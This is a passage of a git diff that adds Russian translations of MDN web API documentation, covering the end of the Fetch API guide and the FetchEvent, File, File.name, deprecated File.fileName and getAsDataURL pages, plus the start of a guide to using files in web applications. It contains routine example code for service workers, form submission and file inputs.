+ <li><code>request-no-cors</code>: защита объекта заголовков, полученного по запросу созданного с {{domxref("Request.mode")}} <code>no-cors</code>.</li>
+ <li><code>response</code>: защита Headers полученных от ответа ({{domxref("Response.headers")}}).</li>
+ <li><code>immutable</code>: в основном, используется в ServiceWorkers; делает объект заголовков read-only.</li>
+</ul>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы не можете добавить или установить <code>request</code> защищаемые Headers’ заголовок <code>Content-Length</code>. Аналогично, вставка <code>Set-Cookie</code> в заголовок ответа недопустимо: ServiceWorkers не допускают установки cookies через синтезированные ответы.</p>
+</div>
+
+<h2 id="Объекты_ответа">Объекты ответа</h2>
+
+<p>Как вы видели выше, экземпляр {{domxref("Response")}} будет возвращен когда <code>fetch()</code> промис будет исполнен.</p>
+
+<p>Свойства объекта-ответа которые чаще всего используются:</p>
+
+<ul>
+ <li>{{domxref("Response.status")}} — Целочисленное (по умолчанию 200) содержит код статуса ответа.</li>
+ <li>{{domxref("Response.statusText")}} — Строка (по умолчанию"OK"), которая соответствует HTTP коду статуса.</li>
+ <li>{{domxref("Response.ok")}} — как сказано ранее, это короткое свойство для упрощения проверки на то что статус ответа находится гдето между 200-299 включительно. Это свойство типа {{domxref("Boolean")}}.</li>
+</ul>
+
+<p>Они так же могут быть созданы с помощью JavaScript, но реальная польза от этого есть только при использовании  {{domxref("ServiceWorker_API", "сервисворкеров")}}, когда вы предоставляете собственный ответ на запрос с помощью метода {{domxref("FetchEvent.respondWith","respondWith()")}}:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> myBody <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Blob</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'fetch'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// ServiceWorker перехватывает fetch</span>
+  event<span class="punctuation token">.</span><span class="function token">respondWith</span><span class="punctuation token">(</span>
+    <span class="keyword token">new</span> <span class="class-name token">Response</span><span class="punctuation token">(</span>myBody<span class="punctuation token">,</span> <span class="punctuation token">{</span>
+      headers<span class="punctuation token">:</span> <span class="punctuation token">{</span> <span class="string token">'Content-Type'</span><span class="punctuation token">:</span> <span class="string token">'text/plain'</span> <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span>
+  <span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Конструктор {{domxref("Response.Response","Response()")}} принимает два необязательных аргумента — тело для ответа и объект init (аналогичный тому, который принимает {{domxref("Request.Request","Request()")}})</p>
+
+<ul>
+</ul>
+
+<div class="note">
+<p><strong>Примечание</strong>: Метод {{domxref("Response.error","error()")}} просто возвращает ответ об ошибке. Аналогично, {{domxref("Response.redirect","redirect()")}} возвращает ответ, приводящий к перенаправлению на указанный URL. Они также относятся только к Service Workers.</p>
+</div>
+
+<h2 id="Тело">Тело</h2>
+
+<p>Запрос и ответ могут содержать данные тела. Тело является экземпляром любого из следующих типов:</p>
+
+<ul>
+ <li>{{domxref("ArrayBuffer")}}</li>
+ <li>{{domxref("ArrayBufferView")}} (Uint8Array и подобные)</li>
+ <li>{{domxref("Blob")}}/File</li>
+ <li>string</li>
+ <li>{{domxref("URLSearchParams")}}</li>
+ <li>{{domxref("FormData")}}</li>
+</ul>
+
+<p>{{domxref("Body")}} примесь определяет следующие методы для извлечения тела (реализованны как для {{domxref("Request")}} так и для {{domxref("Response")}}). Все они возвращают promise, который в конечном итоге исполняется и выводит содержимое.</p>
+
+<ul>
+ <li>{{domxref("Body.arrayBuffer","arrayBuffer()")}}</li>
+ <li>{{domxref("Body.blob","blob()")}}</li>
+ <li>{{domxref("Body.json","json()")}}</li>
+ <li>{{domxref("Body.text","text()")}}</li>
+ <li>{{domxref("Body.formData","formData()")}}</li>
+</ul>
+
+<p>Это делает использование нетекстовых данных более легким, чем при XMR.</p>
+
+<p>В запросе можно установить параметры для отправки тела запроса:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">const</span> form <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">FormData</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'login-form'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="function token">fetch</span><span class="punctuation token">(</span><span class="string token">'/login'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span>
+  method<span class="punctuation token">:</span> <span class="string token">'POST'</span><span class="punctuation token">,</span>
+  body<span class="punctuation token">:</span> form
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Параметры request и response (and by extension the <code>fetch()</code> function), по возможности возвращают корректные типы данных. Параметр request также автоматически установит <code>Content-Type</code> в заголовок, если он не был установлен из словаря.</p>
+
+<h2 id="Функция_обнаружения">Функция обнаружения</h2>
+
+<p>Поддержка Fetch API может быть обнаружена путем проверки наличия {{domxref("Headers")}}, {{domxref("Request")}}, {{domxref("Response")}} или {{domxref("GlobalFetch.fetch","fetch()")}} в области видимости {{domxref("Window")}} или {{domxref("Worker")}}. Для примера:</p>
+
+<pre class="brush: js">if (self.fetch) {
+    // запустить мой fetch запрос здесь
+} else {
+    // Сделать что-то с XMLHttpRequest?
+}</pre>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Для того, чтобы использовать Fetch в неподдерживаемых браузерах, существует  <a href="https://github.com/github/fetch">Fetch Polyfill</a> , который воссоздает функциональность для не поддерживающих браузеров.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Первоначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>14</td>
+   <td>{{CompatGeckoDesktop(39)}}<br>
+    {{CompatGeckoDesktop(34)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(52)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>29<br>
+    28<sup>[1]</sup></td>
+   <td>10.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.1</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Этот API  is implemented behind a preference.</p>
+
+<p>[2] До Firefox 52, <code>get()</code> возращал только  первое значение в указанном заголовке, а <code>getAll()</code> возращал все значения. Начиная с 52, <code>get()</code> теперь возращает все значения и <code>getAll()</code> был удален.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="https://github.com/mdn/fetch-examples/">Fetch examples on Github</a></li>
+</ul>
diff --git a/files/ru/web/api/fetchevent/index.html b/files/ru/web/api/fetchevent/index.html
new file mode 100644
index 0000000000..5c529c772c
--- /dev/null
+++ b/files/ru/web/api/fetchevent/index.html
@@ -0,0 +1,103 @@
+---
+title: FetchEvent
+slug: Web/API/FetchEvent
+translation_of: Web/API/FetchEvent
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">Это тип событий <code>fetch</code>, обрабатываемых в {{domxref("ServiceWorkerGlobalScope", "глобальном контексте service worker", "", 1)}}. Даноое событие содержит данные о запросе, включая его цель. Оно предоставляет метод {{domxref("FetchEvent.respondWith", "event.respondWith()")}}, с помощью которого service worker может ответить на запрос.</span></p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("FetchEvent.FetchEvent()", "FetchEvent()")}}</dt>
+ <dd>Создает новый объект <code>FetchEvent</code>. Как правило, данный конструктор не используется. Браузер самостоятельно создает данные объекты и передает их в обработчик событий <code>fetch</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный класс наследует все свойства класса {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.clientId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}} того же источника, отправившего запрос.</dd>
+ <dt>{{domxref("fetchEvent.preloadResponse")}} {{readonlyinline}}</dt>
+ <dd>{{jsxref("Promise", "Промис")}} для {{domxref("Response", "запроса")}}, или же пустой промис, если не произошла навигация или {{domxref("NavigationPreloadManager", "предзагрузка навигации", "", 1)}} отключена.</dd>
+ <dt>{{domxref("fetchEvent.request")}} {{readonlyInline}}</dt>
+ <dd>Запрос ({{domxref("Request")}}) от браузера.</dd>
+ <dt>{{domxref("fetchEvent.replacesClientId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}}, заменяемого при навигации.</dd>
+ <dt>{{domxref("fetchEvent.resultingClientId")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("Client.id", "Идентификатор")}} {{domxref("Client", "клиента")}}, заменившего прошлый клиент при навигации.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Данный класс наследует методы класса </em><em>{{domxref("ExtendableEvent")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("fetchEvent.respondWith()")}}</dt>
+ <dd>Перехватывает запрос и отпраляет промис с ответом.</dd>
+ <dt>{{domxref("extendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Продлевает выполнение обработчика события до завершения переданного промиса. Используется чтобы уведомить браузер о событии, продолжающемся после отправки ответа, таком как обновление кеша или потоковая передача.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В данном примере все не-GET запросы будут обрабатываться стандартными средствами браузера. В случае GET запросов, service worker попробует найти ответ в кеше, а в случае его отсутствия получит данные с сервера. Также, он асинхронно обновит данные в кеше.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', event =&gt; {
+  // В случае не-GET запроса браузер должен сам обрабатывать его
+  if (event.request.method != 'GET') return;
+
+  // Обрабатываем запрос с помощью логики service worker
+  event.respondWith(async function() {
+    // Пытаемся получить ответ из кеша.
+    const cache = await caches.open('dynamic-v1');
+    const cachedResponse = await cache.match(event.request);
+
+    if (cachedResponse) {
+      // Если кеш был найден, возвращаем данные из него
+      // и запускаем фоновое обновление данных в кеше.
+      event.waitUntil(cache.add(event.request));
+      return cachedResponse;
+    }
+
+    // В случае, если данные не были найдены в кеше, получаем их с сервера.
+    return fetch(event.request);
+  }());
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-fetchevent-fetchevent', 'FetchEvent()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.FetchEvent")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/file/filename/index.html b/files/ru/web/api/file/filename/index.html
new file mode 100644
index 0000000000..912bfe49ca
--- /dev/null
+++ b/files/ru/web/api/file/filename/index.html
@@ -0,0 +1,32 @@
+---
+title: File.fileName
+slug: Web/API/File/fileName
+translation_of: Web/API/File/fileName
+---
+<p>{{APIRef("File API")}}{{non-standard_header}}</p>
+
+<p>{{deprecated_header(7.0)}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Возвращает имя файла. В целях безопасности путь исключен из этого свойства.</p>
+
+<div class="note">Это свойство исключено. Используйте вместо него  {{domxref("File.name")}}.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var name = instanceOfFile.fileName</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Строка</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Не является частью документации.</p>
+
+<h2 id="Смотреть_еще">Смотреть еще</h2>
+
+<ul>
+ <li>{{domxref("File.name")}}</li>
+</ul>
diff --git a/files/ru/web/api/file/getasdataurl/index.html b/files/ru/web/api/file/getasdataurl/index.html
new file mode 100644
index 0000000000..881c5815b8
--- /dev/null
+++ b/files/ru/web/api/file/getasdataurl/index.html
@@ -0,0 +1,64 @@
+---
+title: File.getAsDataURL()
+slug: Web/API/File/getAsDataURL
+tags:
+  - API
+  - File API
+  - Files
+  - Method
+translation_of: Web/API/File/getAsDataURL
+---
+<div>{{APIRef("File API") }}</div>
+
+<p>{{non-standard_header}}</p>
+
+<p>{{deprecated_header(7.0)}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод getAsDataURL возвращает содержимое файла закодированное в формате <a href="/en-US/docs/data_URIs"><code>data:</code></a> URL</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Этот метод является устаревшим; предпочтительнее использовать {{domxref ("FileReader")}} Метод {{domxref ("FileReader.readAsDataURL", "readAsDataURL ()")}} вместо этого.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var url = <em>instanceOfFile</em>.getAsDataURL();</pre>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Строку в формате <a href="/en-US/docs/data_URIs"><code>data:</code></a> URL</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">// fileInput is a HTMLInputElement: &lt;input type="file" id="myfileinput" multiple&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (similar to NodeList)
+var files = fileInput.files;
+
+// array with acceptable file types
+var accept = ["image/png"];
+
+// img is a HTMLImgElement: &lt;img id="myimg"&gt;
+var img = document.getElementById("myimg");
+
+// if we accept the first selected file type
+if (accept.indexOf(files[0].mediaType) &gt; -1) {
+  // display the image
+  // same as &lt;img src="data:image/png,&lt;imagedata&gt;"&gt;
+  img.src = files[0].getAsDataURL();
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Не является частью какой-либо спецификации</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/file/index.html b/files/ru/web/api/file/index.html
new file mode 100644
index 0000000000..82c9f5b7aa
--- /dev/null
+++ b/files/ru/web/api/file/index.html
@@ -0,0 +1,87 @@
+---
+title: File
+slug: Web/API/File
+translation_of: Web/API/File
+---
+<div>{{APIRef}}</div>
+
+<div> </div>
+
+<p>Интерфейс <strong><code>File</code></strong> представляет информацию о файлах и предоставляет JavaScript в веб странице доступ к их контенту.</p>
+
+<p><code>Объекты File</code>  как правило извлекаются из объекта {{domxref("FileList")}}, который возвращён как результат пользовательского выбора файлов с помощью {{HTMLElement("input")}} элемента, из drag and drop операций {{domxref("DataTransfer")}} объекта, или из <code>mozGetAsFile()</code> API на {{domxref("HTMLCanvasElement")}}. В Gecko, привилегированный код может создать файл представляющий любой локалный файл без пользовательского взаимодействия (см {{anch("Gecko notes")}} для получения большей информации.)</p>
+
+<p>Объект <code>File</code> - особый вид {{domxref("Blob")}}, и может быть использован в любом контексте так же, как и Blob. В частности, {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, и {{domxref("XMLHttpRequest", "", "send()")}} допускают и <code>Blob,</code> и <code>File</code>.</p>
+
+<p>Смотри <a href="/ru/docs/Using_files_from_web_applications">Использование файлов в веб приложениях</a> для получения более подробной информации и примеров.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>File</code> также наследует свойства от {{domxref("Blob")}} интерфейса:</em></p>
+
+<dl>
+ <dt>{{domxref("File.lastModified")}} {{readonlyinline}}</dt>
+ <dd>Возвращает время последнего изменения файла в миллисекунде с эпохи UNIX (1 января 1970 года в 00:00:00  в часовом поясе UTC).</dd>
+ <dt>{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>Возвращает <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Date">дату</a> последнего изменения файла, на который ссылается объект File.</dd>
+ <dt>{{domxref("File.name")}} {{readonlyinline}}</dt>
+ <dd>Возвращает имя файла, на который ссылается объект File.</dd>
+ <dt>{{domxref("File.size")}} {{readonlyinline}}</dt>
+ <dd>Возвращает размер файла.</dd>
+ <dt>{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Возвращает URL адрес, где расположен {{domxref("File")}}.</dd>
+ <dt>{{domxref("File.type")}} {{readonlyinline}}</dt>
+ <dd>Возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>тип файла.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Интерфейс не определяет никаких методов, но наследует методы из интерфейса<em> {{domxref("Blob")}}:</em></p>
+
+<p>{{Page("/en-US/docs/Web/API/Blob", "Methods")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>{{Compat("api.File")}}</div>
+
+<p> </p>
+
+<h2 id="Реализационные_заметки">Реализационные заметки</h2>
+
+<ul>
+ <li>В Gecko, вы можете использовать этот API изнутри chrome code. Смотрите <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Использование DOM File API в chrome code</a>, чтобы узнать больше. Чтобы использовать API в chrome code, JSM и Bootstrap, вы должны импортировать его используя <code><a href="/en-US/docs/Components.utils.importGlobalProperties">Cu.importGlobalProperties</a>(['File']);</code></li>
+ <li>Начиная с Gecko 6.0 {{geckoRelease("6.0")}}, привелигированный код (такой как расширение) может передавать объект {{interface("nsIFile")}} в DOM <code>File</code> конструктор для указания файла в справку.</li>
+ <li>Начиная с Gecko 8.0 {{geckoRelease("8.0")}}, вы можете использовать <code>new File</code> чтобы создать <code>объект File</code> из XPCOM компонентного кода вместо создания экземпляра {{interface("nsIDOMFile")}} объекта напрямую. Конструктор принимает {{domxref("Blob")}}, второй аргумент - имя файла. Имя файла может быть любой строкой.
+  <pre class="syntaxbox">File File(
+  Array parts,
+  String filename,
+  BlobPropertyBag properties
+);</pre>
+ </li>
+ <li>Следующие нестандартные методы и свойства были убраны в Gecko 7 {{geckoRelease("7.0")}}: {{domxref("File.fileName")}}, {{domxref("File.fileSize")}}, {{domxref("File.getAsBinary()")}}, {{domxref("File.getAsDataURL()")}}, {{domxref("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Стандартные свойства {{domxref("File.name")}}, {{domxref("Blob.size")}}, и методы {{domxref("FileReader")}} должны быть использованы вместо них.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications">Использование файлов из веб-приложений</a></li>
+ <li>{{domxref("FileReader")}}</li>
+ <li><a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Использование DOM File API в chrome code</a> (для привелигированного кода, запускаемого в Gecko, такого как Firefox дополнения)</li>
+</ul>
diff --git a/files/ru/web/api/file/name/index.html b/files/ru/web/api/file/name/index.html
new file mode 100644
index 0000000000..5dfb9aefee
--- /dev/null
+++ b/files/ru/web/api/file/name/index.html
@@ -0,0 +1,118 @@
+---
+title: File.name
+slug: Web/API/File/name
+tags:
+  - API
+  - File API
+  - Files
+  - Property
+  - Reference
+translation_of: Web/API/File/name
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>Возвращает имя файла представленного объектом типа {{domxref("File")}}. По соображениям безопасности не содержит пути к файлу.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var name = <em>file</em>.name;</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p><span id="result_box" lang="ru"><span>Строка</span><span>,</span> <span>содержащая имя</span> <span>файла</span> <span>без пути</span><span>,</span> <span>например, "</span><span>My</span> <span>Resume.rtf</span><span>"</span><span>.</span></span></p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;input type="file" multiple onchange="processSelectedFiles(this)"&gt;
+</pre>
+
+<pre class="brush: js">function processSelectedFiles(fileInput) {
+  var files = fileInput.files;
+
+  for (var i = 0; i &lt; files.length; i++) {
+    alert("Filename " + files[i].name);
+  }
+}</pre>
+
+<p>Проверьте результаты ниже:</p>
+
+<p>{{ EmbedLiveSample('Example', 300, 50) }}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#file-attrs', 'name')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>File.name</td>
+   <td>13.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>10.0</td>
+   <td>16.0</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>File.name</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] {{webkitbug("32912")}}</p>
+
+<h2 id="Specification" name="Specification">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications">Использование файлов в веб приложениях</a></li>
+</ul>
diff --git a/files/ru/web/api/file/using_files_from_web_applications/index.html b/files/ru/web/api/file/using_files_from_web_applications/index.html
new file mode 100644
index 0000000000..84af0e83a7
--- /dev/null
+++ b/files/ru/web/api/file/using_files_from_web_applications/index.html
@@ -0,0 +1,476 @@
+---
+title: Использование файлов в веб приложениях
+slug: Web/API/File/Using_files_from_web_applications
+translation_of: Web/API/File/Using_files_from_web_applications
+---
+<p>Используя File API, добавленный к DOM в HTML5, в веб-приложениях теперь можно запрашивать пользователя выбрать локальные файлы и затем читать содержимое этих файлов. Выбор файлов может осуществляться с помощью элемента {{ HTMLElement("input") }} или drag and drop.<br>
+ <br>
+ Если вы хотите использовать DOM File API в расширениях или коде Chrome, используйте. На самом деле, в таком случае вам необходимо ознакомиться с дополнительными нюансами. См. статью <a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a> для подробностей.</p>
+
+<h2 id="Доступ_к_выбранным_файлам">Доступ к выбранным файлам</h2>
+
+<p>Рассмотрим следующий код:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="input" multiple&gt;</pre>
+
+<p>File API делает возможным доступ к {{ domxref("FileList") }}, который содержит объекты {{ domxref("File") }}, которым соответствуют файлы, выбранные пользователем.</p>
+
+<p>Атрибут <code>multiple</code> элемента <code>input</code> позволяет пользователю выбрать несколько файлов.</p>
+
+<p>Обращение к одному выбранному файлу с использованием классической DOM-модели:</p>
+
+<pre class="brush: js notranslate">const selectedFile = document.getElementById('input').files[0];</pre>
+
+<p>Обращение к одному выбранному файлу через <a href="http://jquery.com/" title="http://jquery.com/">jQuery</a>:</p>
+
+<pre class="brush: js notranslate">var selectedFile = $('#input').get(0).files[0];
+
+var selectedFile = $('#input')[0].files[0];</pre>
+
+<div class="note">
+<p>Если вы получили ошибку "files is undefined", значит вы выбрали не один HTML-элемент, а список элементов, который возвращает jQuery. Нужно уточнить, у какого именно элемента необходимо вызвать метод "files"</p>
+</div>
+
+<h3 id="Доступ_к_выбранным_файлам_через_событие_change">Доступ к выбранным файлам через событие change</h3>
+
+<p>Также возможно (но не обязательно) получить доступ к {{DOMxRef("FileList")}} через событие <code>change</code>. Нужно использовать {{DOMxRef("EventTarget.addEventListener()")}} чтобы добавить обработчик события <code>change</code>, как показано здесь:</p>
+
+<pre class="brush: js notranslate">const inputElement = document.getElementById("input");
+inputElement.addEventListener("change", handleFiles, false);
+function handleFiles() {
+  const fileList = this.files; /* now you can work with the file list */
+}</pre>
+
+<p>Обработчик события <code>change</code> можно назначить атрибутом элемента:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="input" onchange="handleFiles(this.files)"&gt;</pre>
+
+<p>Когда пользователь выбирает файл, функция <span style="font-family: consolas,monaco,andale mono,monospace;">handleFiles() будет вызвана с объектом </span>{{ domxref("FileList") }}, который состоит из объектов {{ domxref("File") }}, представляющих файлы, выбранные пользователем.</p>
+
+<h2 id="Получение_информации_о_выделенных_файлах">Получение информации о выделенных файлах</h2>
+
+<p>Объект {{ domxref("FileList") }} предоставляемый классическим DOM содержит все файлы выбранные пользователем, каждый из которых представляет собой объект {{ domxref("File") }}. Вы можете определить сколько файлов выбрал пользователь проверяя значение аттрибута длины (<code>length</code>) списка файлов:</p>
+
+<pre class="brush: js notranslate"><code>var numFiles = files.length;</code></pre>
+
+<p>Конкретные объекты {{ domxref("File") }} могут быть получены обращением к списку файлов как к массиву:</p>
+
+<pre class="brush: js notranslate">for (var i = 0, numFiles = files.length; i &lt; numFiles; i++) {
+  var file = files[i];
+  ..
+}
+</pre>
+
+<p>Этот цикл проходит по всем файлам в списке файлов.</p>
+
+<p>Всего существует три аттрибута, предоставляемых объектом {{ domxref("File") }}, которые содержат полезную информацию о файле.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя файла как строка доступная только для чтения. Это просто имя файла и оно не включает в себя информацию о пути.</dd>
+ <dt><code>size</code></dt>
+ <dd>Размер файла в байтах, как 64-битное целое число (возможно только чтение).</dd>
+ <dt><code>type</code></dt>
+ <dd>MIME тип файла, как строка доступная только для чтения, или пустая строка (<code>"") </code>если тип файла не может быть определён.</dd>
+</dl>
+
+<h3 id="Пример_Отображение_размера_файлаов">Пример: Отображение размера файла(ов)</h3>
+
+<p>Следующий пример показывает возможное использование свойства <code>size</code>:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;File(s) size&lt;/title&gt;
+&lt;script&gt;
+function updateSize() {
+  var nBytes = 0,
+      oFiles = document.getElementById("uploadInput").files,
+      nFiles = oFiles.length;
+  for (var nFileId = 0; nFileId &lt; nFiles; nFileId++) {
